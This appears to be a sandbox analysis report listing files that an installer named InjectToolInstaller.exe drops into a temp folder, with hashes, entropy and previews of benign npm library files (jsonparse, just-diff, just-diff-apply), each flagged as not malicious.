Preview:	/global Buffer/.// Named constants with unique integer values.var C = {};.// Tokens.var LEFT_BRACE = C.LEFT_BRACE = 0x1;.var RIGHT_BRACE = C.RIGHT_BRACE = 0x2;.var LEFT_BRACKET = C.LEFT_BRACKET = 0x3;.var RIGHT_BRACKET = C.RIGHT_BRACKET = 0x4;.var COLON = C.COLON = 0x5;.var COMMA = C.COMMA = 0x6;.var TRUE = C.TRUE = 0x7;.var FALSE = C.FALSE = 0x8;.var NULL = C.NULL = 0x9;.var STRING = C.STRING = 0xa;.var NUMBER = C.NUMBER = 0xb;.// Tokenizer States.var START = C.START = 0x11;.var STOP = C.STOP = 0x12;.var TRUE1 = C.TRUE1 = 0x21;.var TRUE2 = C.TRUE2 = 0x22;.var TRUE3 = C.TRUE3 = 0x23;.var FALSE1 = C.FALSE1 = 0x31;.var FALSE2 = C.FALSE2 = 0x32;.var FALSE3 = C.FALSE3 = 0x33;.var FALSE4 = C.FALSE4 = 0x34;.var NULL1 = C.NULL1 = 0x41;.var NULL2 = C.NULL2 = 0x42;.var NULL3 = C.NULL3 = 0x43;.var NUMBER1 = C.NUMBER1 = 0x51;.var N

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\jsonparse\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	551
Entropy (8bit):	4.69703295227495
Encrypted:	false
SSDEEP:	12:Wk0j72h16vDqoAQbmhEgXkTq00knWjVz4EgXkhPty6:WTj72h1sDahpUzy2pUVP
MD5:	EE8BCD21A4F6FF17D0894EA591AE0032
SHA1:	EC0BB766BF32EBD53D835393DA006BB834A663FD
SHA-256:	FD84A394475582D3ACA1DA89B9D2DBB193BA7952DA9F8C01A5A5474505185A29
SHA-512:	1C49871E38F2DB583D1C5C0DBB9597845857FBBAF320BB2713CBC5ED9B69D64CB33A7A38FCF155580E2AB35CAC0D9DF0287DAAE92478274E5D8F6FC27CF9C9B1
Malicious:	false
Preview:	{. "name": "jsonparse",. "description": "This is a pure-js JSON streaming parser for node.js",. "tags": ["json", "stream"],. "version": "1.3.1",. "author": "Tim Caswell <tim@creationix.com>",. "repository": {. "type": "git",. "url": "http://github.com/creationix/jsonparse.git". },. "devDependencies": {. "tape": "~0.1.1",. "tap": "~0.3.3". },. "scripts": {. "test": "tap test/*.js". },. "bugs": "http://github.com/creationix/jsonparse/issues",. "engines": ["node >= 0.2.0"],. "license": "MIT",. "main": "jsonparse.js".}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\jsonparse\samplejson\basic.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4364
Entropy (8bit):	4.384086673415309
Encrypted:	false
SSDEEP:	96:a0Z6TCE8CmeZCVs6TMK0x66Cut6zfzV6EC7HYm8G66MKz5GV:a5c04md5GV
MD5:	4B7080EFDDFC3D72D6D37236DA7B59BF
SHA1:	749F941081D2DDDAF06CBB506EB157ADE37117DA
SHA-256:	07ABE37A28F8E0BE74364E93AD2E030E6EE629AC5F8CEAABAB5B7C7131816680
SHA-512:	95DC15CA9A06CC49B0D3623861B779B49378B9C60EED09B7DDEB52CCC90572E9AB1D6BE212AD79204F48CDFE9378425C0801274AFA5DEF9C4E44A0B23AC1EB2B
Malicious:	false
Preview:	[. {. },. {. "image": [. {"shape": "rect", "fill": "#333", "stroke": "#999", "x": 0.5e+1, "y": 0.5, "z": 0.8e-0, "w": 0.5e5, "u": 2E10, "foo": 2E+1, "bar": 2E-0, "width": 47, "height": 47}. ],. "jumpable": 3,. "solid": {. "1": [2,4],. "2": [],. "3": [2,6],. "4": [],. "5": [2,8,1,3,7,9,4,6],. "6": [],. "7": [4,8],. "8": [],. "9": [6,8]. },. "corners": {"1": true,"3": true,"7": true,"9": true}. },. {. "image": [. {"shape": "polygon", "fill": "#248", "stroke": "#48f", "points": [[0.5,47.5],[47.5,47.5],[47.5,0.5]]}. ],. "solid": {. "1": [2,4],. "2": [1],. "3": [2],. "4": [],. "5": [2,8,1,3,7,9,4,6],. "6": [],. "7": [4,8],. "8": [],. "9": [6,8]. },. "corners": {"1": true,"3": true,"7": false,"9": true}. },. {. "image": [. {"shape": "polygon", "fill": "#248", "stroke": "#48f", "points": [[0.5,0.5],[47.5,47.5],[0.5,47.5]]}. ],. "solid": {.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\jsonparse\samplejson\basic2.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4591
Entropy (8bit):	4.37197702636553
Encrypted:	false
SSDEEP:	96:l6TCE8CmeZCVs6TMK0x66Cut6zfzV6EC7HYm8G66MKz5Gs:Kc04md5Gs
MD5:	60983AECC406A831D67D288BCDD04E11
SHA1:	117E4087D922CF0AD27DE0AFD7A2211287BE8B40
SHA-256:	C27C2194631E6A24DD8FC953FF300A49B2B04915945500E8DE99B67E673767CB
SHA-512:	3331355A6C84C48A90EACB255044E4D2CD2546BCBA675AFE5B72585F215B1DE826983DF3089C243B668D5FB6F92115E94BF64F041D58553F3FCFCE76ABFD4091
Malicious:	false
Preview:	[. {. },. {. "image": [. {"shape": "rect", "fill": "#333", "stroke": "#999", "x": 0.5, "y": 0.5, "width": 47, "height": 47}. ],. "jumpable": 3,. "solid": {. "1": [2,4],. "2": [],. "3": [2,6],. "4": [],. "5": [2,8,1,3,7,9,4,6],. "6": [],. "7": [4,8],. "8": [],. "9": [6,8]. },. "corners": {"1": true,"3": true,"7": true,"9": true}. },. {. "image": [. {"shape": "polygon", "fill": "#248", "stroke": "#48f", "points": [[0.5,47.5],[47.5,47.5],[47.5,0.5]]}. ],. "solid": {. "1": [2,4],. "2": [1],. "3": [2],. "4": [],. "5": [2,8,1,3,7,9,4,6],. "6": [],. "7": [4,8],. "8": [],. "9": [6,8]. },. "corners": {"1": true,"3": true,"7": false,"9": true}. },. {. "image": [. {"shape": "polygon", "fill": "#248", "stroke": "#48f", "points": [[0.5,0.5],[47.5,47.5],[0.5,47.5]]}. ],. "solid": {. "1": [2],. "2": [3],. "3": [2,6],. "4": [],.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\jsonparse\test\big-token.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	708
Entropy (8bit):	4.857994812721928
Encrypted:	false
SSDEEP:	12:B7ZLurdBYXdBkbKnypnxQSzbZlYQM3TNodG53zmQnnevXD1AinNG57v:BZLN3kbnpn/nL96xoQjBevXJAiAr
MD5:	12C9F89BEF47E64A63C6C3F930D5F8B3
SHA1:	AD86A8425E49AF2E1BB9EF5630C8FEF81355342A
SHA-256:	3A0B6A085448EE92F0D8C5B24CF32818602AEFF7BA9CAF625926D8806F29458A
SHA-512:	040D3F6CEC5008EFD6F9058B715BD9992CE9BA5EA040DC02EB4B19D29BBF945C92531386E2C48EA13D7F8434DB09AE9797BB28E0274FE32B0DC33D7DB19822E0
Malicious:	false
Preview:	var stream = require('stream');.var JsonParse = require('../jsonparse');.var test = require('tape');..test('can handle large tokens without running out of memory', function (t) {. var parser = new JsonParse();. var chunkSize = 1024;. var chunks = 1024 * 200; // 200mb. var quote = Buffer.from ? Buffer.from('"') : new Buffer('"');. t.plan(1);.. parser.onToken = function (type, value) {. t.equal(value.length, chunkSize * chunks, 'token should be size of input json');. t.end();. };.. parser.write(quote);. for (var i = 0; i < chunks; ++i) {. var buf = Buffer.alloc ? Buffer.alloc(chunkSize) : new Buffer(chunkSize);. buf.fill('a');. parser.write(buf);. }. parser.write(quote);.});.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\jsonparse\test\boundary.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	2777
Entropy (8bit):	5.031710091189347
Encrypted:	false
SSDEEP:	48:dCNy+Xi4kvoCNzQd4WBc4CNEAVjo4iZjCNzur4hqoBcXCNEAVrV5m4iWixozNzky:doytooz+oEAVOVozu3ZoEAVrV5ArxUzb
MD5:	05CB13134A229813380AE336F4E54299
SHA1:	72333D171023AD358B71E65069A48599F426684D
SHA-256:	5C4C3A8CD7F15D723A5E1F8075FE6C8F13017314F4061AA524F4BA7EA8E3F533
SHA-512:	D218D30B687F534ED581C436722B75DF2C2FA0C1715BFE63A84C3AA25BA40E3071DFB6C5493C727CAF168EE9FF75C2FEB6EAA5EB842094E8BF10D2618D4EAEE3
Malicious:	false
Preview:	var test = require('tape');.var Parser = require('../');..test('2 byte utf8 \'De\' character: .', function (t) {. t.plan(1);.. var p = new Parser();. p.onValue = function (value) {. t.equal(value, '.');. };.. var de_buffer = new Buffer([0xd0, 0xb4]);.. p.write('"');. p.write(de_buffer);. p.write('"');..});..test('3 byte utf8 \'Han\' character: .', function (t) {. t.plan(1);.. var p = new Parser();. p.onValue = function (value) {. t.equal(value, '.');. };.. var han_buffer = new Buffer([0xe6, 0x88, 0x91]);. p.write('"');. p.write(han_buffer);. p.write('"');.});..test('4 byte utf8 character (unicode scalar U+2070E): ..', function (t) {. t.plan(1);.. var p = new Parser();. p.onValue = function (value) {. t.equal(value, '..');. };.. var Ux2070E_buffer = new Buffer([0xf0, 0xa0, 0x9c, 0x8e]);. p.write('"');. p.write(Ux2070E_buffer);. p.write('"');.});..test('3 byte utf8 \'Han\' character chunked inbetween 2nd and 3rd byte: .', function (t) {. t.pl

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\jsonparse\test\offset.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	5.115903756690184
Encrypted:	false
SSDEEP:	24:pb7xomq+IVt/dzyswKptrRPEhptSJYy9ptmptu37DLptSbLigWpt70hptIsB+UBm:pb72+MdWCEE5vW6gHWUZrNJ16K5c
MD5:	280186EBC27EBD37203F0FDE6CC7E5E5
SHA1:	0EE4E871FBFA406CBF1FB9A353673AE50057EB84
SHA-256:	925FD9424B8EEFB09C5D54A1AD13F528979643970DAE96CCED0737968C841259
SHA-512:	F3C6F632FBC5E7A0B58E8CC07F8836A95D0C4D98473F9F501F1173E08901375963E6AD35AD2AFD839A53A03945A2DE3B85CF10030B500912CCE09A536DE8088A
Malicious:	false
Preview:	var test = require('tape');.var Parser = require('../');..var input = '{\n "string": "value",\n "number": 3,\n "object"';.var input2 = ': {\n "key": "v."\n },\n "array": [\n -1,\n 12\n ]\n ';.var input3 = '"null": null, "true": true, "false": false, "frac": 3.14 }';..var offsets = [. [ 0, Parser.C.LEFT_BRACE ],. [ 4, Parser.C.STRING ],. [ 12, Parser.C.COLON ],. [ 14, Parser.C.STRING ],. [ 21, Parser.C.COMMA ],. [ 25, Parser.C.STRING ],. [ 33, Parser.C.COLON ],. [ 35, Parser.C.NUMBER ],. [ 36, Parser.C.COMMA ],. [ 40, Parser.C.STRING ],. [ 48, Parser.C.COLON ],. [ 50, Parser.C.LEFT_BRACE ],. [ 54, Parser.C.STRING ],. [ 59, Parser.C.COLON ],. [ 61, Parser.C.STRING ],. [ 69, Parser.C.RIGHT_BRACE ],. [ 70, Parser.C.COMMA ],. [ 74, Parser.C.STRING ],. [ 81, Parser.C.COLON ],. [ 83, Parser.C.LEFT_BRACKET ],. [ 87, Parser.C.NUMBER ],. [ 89, Parser.C.COMMA ],. [ 93, Parser.C.NUMBER ],. [ 98, Parser.C.RIGHT_BRACKET ],. [ 102, Parser.C.STRING ],. [ 108, Parse

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\jsonparse\test\primitives.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	1240
Entropy (8bit):	4.812709517509997
Encrypted:	false
SSDEEP:	24:Q9aV6DyL/FhEeEzCkyYscmTcBxsAuo8doBoqoDou1owMkJgoxotE4:mJLzC2wep58qOFEfwMkZeq4
MD5:	9C7D4FB73BCA59A7B5183F24039FC497
SHA1:	236D9AD228A0225B94D30670596EB425094A4861
SHA-256:	1A57457B49DD2705171AAF44ED3BCD52E748BFAAAF1D34F2C4D4E0D0F8F185DE
SHA-512:	9BAE9DD3D909E5A2943FF48241C865F57538F4B916B4C660AB5545CE620CCACA7A4DD0599C740AC0670025C184164E9E6A9B956387EE865D144E1CE199FDDD5C
Malicious:	false
Preview:	var test = require('tape');.var Parser = require('../');..var expected = [. [ [], '' ],. [ [], 'Hello' ],. [ [], 'This"is' ],. [ [], '\r\n\f\t\\/"' ],. [ [], '......' ],. [ [], '\\' ],. [ [], '/' ],. [ [], '"' ],. [ [ 0 ], 0 ],. [ [ 1 ], 1 ],. [ [ 2 ], -1 ],. [ [], [ 0, 1, -1 ] ],. [ [ 0 ], 1 ],. [ [ 1 ], 1.1 ],. [ [ 2 ], -1.1 ],. [ [ 3 ], -1 ],. [ [], [ 1, 1.1, -1.1, -1 ] ],. [ [ 0 ], -1 ],. [ [], [ -1 ] ],. [ [ 0 ], -0.1 ],. [ [], [ -0.1 ] ],. [ [ 0 ], 6.02e+23 ],. [ [], [ 6.02e+23 ] ],. [ [ 0 ], '7161093205057351174' ],. [ [], [ '7161093205057351174'] ].];..test('primitives', function (t) {. t.plan(25);.. var p = new Parser();. p.onValue = function (value) {. var keys = this.stack. .slice(1). .map(function (item) { return item.key }). .concat(this.key !== undefined ? this.key : []). ;. t.deepEqual(. [ keys, value ],. expected.shift(). );. };.. p.write('"""Hello""This\\"is""\\r\\n\\f\\t\\\\\\/\\""');. p.write('

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\jsonparse\test\surrogate.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	451
Entropy (8bit):	4.823390929241496
Encrypted:	false
SSDEEP:	6:qUL9ELM2NSbdGAA5kyDxJ8FQHelAgM2NSbdGAA5kyDxJ8FQHNwdmFQ0I:zYMmSzA5kQP8FSngMmSzA5kQP8FSNgoU
MD5:	8CF7D3CD0DB5B1C5F1383178280F45A5
SHA1:	04EEC2033CDF19BA6439239038D0A87B590EF11F
SHA-256:	1CF4CF0FADBCEE78553C6B7C666073CBB034691FCAE60846631B7280EB2361B6
SHA-512:	DE25ED7F1B91094A895FC2454B273248DD02CCCA730E2A3E7395B3F376D16933ED2EF3A6699D82C50651382B9208D211B0BB80F0BC9620D3DDAA4C0D936344FA
Malicious:	false
Preview:	var test = require('tape');.var Parser = require('../');..test('parse surrogate pair', function (t) {. t.plan(1);.. var p = new Parser();. p.onValue = function (value) {. t.equal(value, '..');. };.. p.write('"\\uD83D\\uDE0B"');.});..test('parse chunked surrogate pair', function (t) {. t.plan(1);.. var p = new Parser();. p.onValue = function (value) {. t.equal(value, '..');. };.. p.write('"\\uD83D');. p.write('\\uDE0B"');.});..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\jsonparse\test\unvalid.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	251
Entropy (8bit):	4.545899247849345
Encrypted:	false
SSDEEP:	6:qUL9ETL9FsbdGHEkyXed/ocdFFoHHoFQYC5:zansi3HdQcHKoFzg
MD5:	27FF62B5FB5E3619048A0B33AE82055C
SHA1:	401E2662D4390FD2FB63EF789708C58F3AFC5472
SHA-256:	5E2E10C9F6A8D749351CD6EA6E06F356ECB9439069365D460F941D9871D5F0F1
SHA-512:	F880319809609175FE2F3FEB4CB36658083F4AD239F300736A01180F896E283E349C55F8C136E55C05188D85C32FE1F08A06EFE04B90D64197A6BC73521BD586
Malicious:	false
Preview:	var test = require('tape');.var Parser = require('../');..test('unvalid', function (t) {. var count = 0;.. var p = new Parser();. p.onError = function (value) {. count++;. t.equal(1, count);. t.end();. };.. p.write('{"test": eer[');.});.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\jsonparse\test\utf8.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	705
Entropy (8bit):	4.975099215484967
Encrypted:	false
SSDEEP:	12:zT4RB4SzA5kQPKFS8mSzA5kQPzFStin5xpxVxW63DAA5kAySFwp05:YR2SCkQPcoSCkQPhT5nXEKkAyUw25
MD5:	37002B8D33FC95618645036ED58062F3
SHA1:	4A0D4CC955CC01853C5E75BFB8F5FC68ACD6DFD1
SHA-256:	1FEED5191CD2507E425D83A26672582E92C9B7A8B2C822D25D525CB0DD87D249
SHA-512:	D8BF435C9CE0D7F051B04A0E9456B1F1372AAD7D9ADFB03EA6E3E455DA988ECB3768E915114676F6551C01D11217633A5249197D8FF0194DB4F08DAF07C1DB44
Malicious:	false
Preview:	var test = require('tape');.var Parser = require('../');..test('3 bytes of utf8', function (t) {. t.plan(1);.. var p = new Parser();. p.onValue = function (value) {. t.equal(value, '...');. };.. p.write('"..."');.});..test('utf8 snowman', function (t) {. t.plan(1);.. var p = new Parser();. p.onValue = function (value) {. t.equal(value, '.');. };.. p.write('"."');.});..test('utf8 with regular ascii', function (t) {. t.plan(4);.. var p = new Parser();. var expected = [ "snow: .!", "xyz", ".que!" ];. expected.push(expected.slice());.. p.onValue = function (value) {. t.deepEqual(value, expected.shift());. };.. p.write('["snow: .!","xyz",".que!"]');.});.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\just-diff-apply\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1078
Entropy (8bit):	5.100987827793102
Encrypted:	false
SSDEEP:	24:b1rmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:b1aJHlxE3dQHOs5exm3ogFh
MD5:	9A101E543AED27CD8558F6376292442E
SHA1:	07A19AB9F07A8120E39CE09C4CD7703584241285
SHA-256:	EBB30D70F7EBD918F223CE6ED7621FA4CEF3EC2D59D6707C23868B01DEF28CE2
SHA-512:	199E1CB24AB93EEDB217FB4ACD3B0399F4209F1F7BE507545B71EEF288885252697AF1226C06A096ABA695C8846E41D1B885641C958AD6942924F340C4674467
Malicious:	false
Preview:	The MIT License (MIT)..Copyright (c) 2016 angus croll..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\just-diff-apply\index.cjs

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4471
Entropy (8bit):	4.8860812993608
Encrypted:	false
SSDEEP:	96:DkOItgdp0bILPWrOId5q5o3+krTUq3S2dDSRkrIIS78jDi5AlypsSPJD:DkOIudp0bILPWrOId5q5B0TUoNSRkrIx
MD5:	AEBE973337CC7F412A8FD0961E89081F
SHA1:	49D1F6F8E048B7A4360DF6069F86DD5163E17821
SHA-256:	1AE0CD18C45BC56B0BDE1082936FB3E2393B970393D51AC5EEB167AF6A88FAE4
SHA-512:	61998C24CF2914BD7C38445894275AE5A8F0F4E26A8A55026E5617F4BF5B8DDD59149B6AAD662191508810ABE3675103B5D9ACC729C7E24DF59B1C589B3F2AB3
Malicious:	false
Preview:	module.exports = {. diffApply: diffApply,. jsonPatchPathConverter: jsonPatchPathConverter,.};../*. const obj1 = {a: 3, b: 5};. diffApply(obj1,. [. { "op": "remove", "path": ['b'] },. { "op": "replace", "path": ['a'], "value": 4 },. { "op": "add", "path": ['c'], "value": 5 }. ]. );. obj1; // {a: 4, c: 5}.. // using converter to apply jsPatch standard paths. // see http://jsonpatch.com. import {diff, jsonPatchPathConverter} from 'just-diff'. const obj2 = {a: 3, b: 5};. diffApply(obj2, [. { "op": "remove", "path": '/b' },. { "op": "replace", "path": '/a', "value": 4 }. { "op": "add", "path": '/c', "value": 5 }. ], jsonPatchPathConverter);. obj2; // {a: 4, c: 5}.. // arrays. const obj3 = {a: 4, b: [1, 2, 3]};. diffApply(obj3, [. { "op": "replace", "path": ['a'], "value": 3 }. { "op": "replace", "path": ['b', 2], "value": 4 }. { "op": "add", "path": ['b', 3], "value": 9 }. ]);. obj3; // {a: 3, b: [1, 2, 4, 9]}.. // nested paths. con

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\just-diff-apply\index.mjs

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4419
Entropy (8bit):	4.8828087185887465
Encrypted:	false
SSDEEP:	96:+Itgdp0bILPWrOId5q5o3+krTUq3S2dDSRkrIIS78jDi5AlypsSPJF+/:+Iudp0bILPWrOId5q5B0TUoNSRkrI77a
MD5:	E8C135BC10954325B4E59B26286A4EC7
SHA1:	34B2C6832684A8532FB60A7F974397CB5610A6DB
SHA-256:	33C49907380228108B41C41F580143854CC0AFBED7C2090CF466F886DD62445B
SHA-512:	6D0C900C21E9EF3489E76F3D35C6757FBE6A00B6DD748C748387B5F3E1AEB408E2AB2AD9A13401B695CAB0B6E3BB255CFC3CA3D96C7854001CA73DC33180687B
Malicious:	false
Preview:	/*. const obj1 = {a: 3, b: 5};. diffApply(obj1,. [. { "op": "remove", "path": ['b'] },. { "op": "replace", "path": ['a'], "value": 4 },. { "op": "add", "path": ['c'], "value": 5 }. ]. );. obj1; // {a: 4, c: 5}.. // using converter to apply jsPatch standard paths. // see http://jsonpatch.com. import {diff, jsonPatchPathConverter} from 'just-diff'. const obj2 = {a: 3, b: 5};. diffApply(obj2, [. { "op": "remove", "path": '/b' },. { "op": "replace", "path": '/a', "value": 4 }. { "op": "add", "path": '/c', "value": 5 }. ], jsonPatchPathConverter);. obj2; // {a: 4, c: 5}.. // arrays. const obj3 = {a: 4, b: [1, 2, 3]};. diffApply(obj3, [. { "op": "replace", "path": ['a'], "value": 3 }. { "op": "replace", "path": ['b', 2], "value": 4 }. { "op": "add", "path": ['b', 3], "value": 9 }. ]);. obj3; // {a: 3, b: [1, 2, 4, 9]}.. // nested paths. const obj4 = {a: 4, b: {c: 3}};. diffApply(obj4, [. { "op": "replace", "path": ['a'], "value": 5

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\just-diff-apply\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	759
Entropy (8bit):	4.592161728603168
Encrypted:	false
SSDEEP:	12:2t1R5q3KLN/h6RNGeoDwIjTcKP661GsVgfh5InOOxg+U8OC2aUtPL:2t1R5YKJ/hgoeZIjwvBh808F25tj
MD5:	5E9F9C0328FAC8054BFC6B318401A28D
SHA1:	26D39D00F0FC1DDFE4974DBE69691F9C09AD9036
SHA-256:	1B721A43B3CFF361A573C58E9769CCDC4350351D07D91CE69B72A2363406E61A
SHA-512:	B349B2AF82288563221F9BBF6BF4926F74C2C4609DDBF0BFBF370A3B518A947532ECC5927FCEA200629ABC912531188D78232F078502B532DD2568DF6C855B80
Malicious:	false
Preview:	{. "name": "just-diff-apply",. "version": "5.5.0",. "description": "Apply a diff to an object. Optionally supports jsonPatch protocol",. "type": "module",. "exports": {. ".": {. "types": "./index.d.ts",. "require": "./index.cjs",. "import": "./index.mjs". },. "./package.json": "./package.json". },. "main": "index.cjs",. "types": "index.d.ts",. "scripts": {. "test": "echo \"Error: no test specified\" && exit 1",. "build": "rollup -c". },. "repository": "https://github.com/angus-c/just",. "keywords": [. "object",. "diff",. "apply",. "jsonPatch",. "no-dependencies",. "just". ],. "author": "Angus Croll",. "license": "MIT",. "bugs": {. "url": "https://github.com/angus-c/just/issues". }.}

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\just-diff-apply\rollup.config.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	120
Entropy (8bit):	4.668029761840334
Encrypted:	false
SSDEEP:	3:/AERS6PCiFTPDDdRA6PCYQKzBbGHS6PCoqMEIwv:/hRo4Dd4YQKzBCHoaERv
MD5:	034A283586FC4A45C64E2BA2BFD5F2E6
SHA1:	46F0E8BF5B85350C5176F2F990FEA1CDBD8E4348
SHA-256:	1852412BFDB6E4BC898B8C0E323A4FF5C7EA3C16BB74F946E5FE0691F9A59F48
SHA-512:	0EE47C7770E51819B5BF83DE8E3F68DF0C9F09B91B08644ADC0E8AFC2A4B3635DBD71F915385706609D197CF9A7220FAE784C225A8A7DEE861F67C4E92C8A14E
Malicious:	false
Preview:	const createRollupConfig = require('../../config/createRollupConfig');..module.exports = createRollupConfig(__dirname);.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\just-diff\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1078
Entropy (8bit):	5.100987827793102
Encrypted:	false
SSDEEP:	24:b1rmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:b1aJHlxE3dQHOs5exm3ogFh
MD5:	9A101E543AED27CD8558F6376292442E
SHA1:	07A19AB9F07A8120E39CE09C4CD7703584241285
SHA-256:	EBB30D70F7EBD918F223CE6ED7621FA4CEF3EC2D59D6707C23868B01DEF28CE2
SHA-512:	199E1CB24AB93EEDB217FB4ACD3B0399F4209F1F7BE507545B71EEF288885252697AF1226C06A096ABA695C8846E41D1B885641C958AD6942924F340C4674467
Malicious:	false
Preview:	The MIT License (MIT)..Copyright (c) 2016 angus croll..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\just-diff\index.cjs

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5979
Entropy (8bit):	4.805587491072073
Encrypted:	false
SSDEEP:	96:DRmINIWIg8pPILPYWx2g4Id5LFi3JEdpSWFqqLnWZm1j4Em3PmLSSTaI3DJLtXh0:DIINIWX8pPILPYc14Id5Zi3SiWFqgnQP
MD5:	B156590F03DF08EB80107B419FC541D7
SHA1:	EE75208454872DE7E85E4FBEC9F8FDC3895C7D17
SHA-256:	1B73FFB5CBA2F5BA219EF8FFF57F9B34F77D7DD4B0229F6396C022F796E7993D
SHA-512:	F49FFFA1AF9D9DDD9A8D66188DE9973439D74A26B0C7BE7F8CFB3392707F9EAE083DDDB50EDD4377BB8B0FD9A394D479AC3D84DD3B48B7EE392BDD06ADCC326B
Malicious:	false
Preview:	module.exports = {. diff: diff,. jsonPatchPathConverter: jsonPatchPathConverter,.};../*. const obj1 = {a: 4, b: 5};. const obj2 = {a: 3, b: 5};. const obj3 = {a: 4, c: 5};.. diff(obj1, obj2);. [. { "op": "replace", "path": ['a'], "value": 3 }. ].. diff(obj2, obj3);. [. { "op": "remove", "path": ['b'] },. { "op": "replace", "path": ['a'], "value": 4 }. { "op": "add", "path": ['c'], "value": 5 }. ].. // using converter to generate jsPatch standard paths. // see http://jsonpatch.com. import {diff, jsonPatchPathConverter} from 'just-diff'. diff(obj1, obj2, jsonPatchPathConverter);. [. { "op": "replace", "path": '/a', "value": 3 }. ].. diff(obj2, obj3, jsonPatchPathConverter);. [. { "op": "remove", "path": '/b' },. { "op": "replace", "path": '/a', "value": 4 }. { "op": "add", "path": '/c', "value": 5 }. ].. // arrays. const obj4 = {a: 4, b: [1, 2, 3]};. const obj5 = {a: 3, b: [1, 2, 4]};. const obj6 = {a: 3, b: [1, 2, 4, 5]};.. diff(obj4, obj

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\just-diff\index.mjs

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5932
Entropy (8bit):	4.802797942019657
Encrypted:	false
SSDEEP:	96:WmINIWIg8pPILPYWx2g4Id5LFi3JEdpSWFqqLnWZm1j4Em3PmLSSTaI3DJLtXhi8:JINIWX8pPILPYc14Id5Zi3SiWFqgnQmx
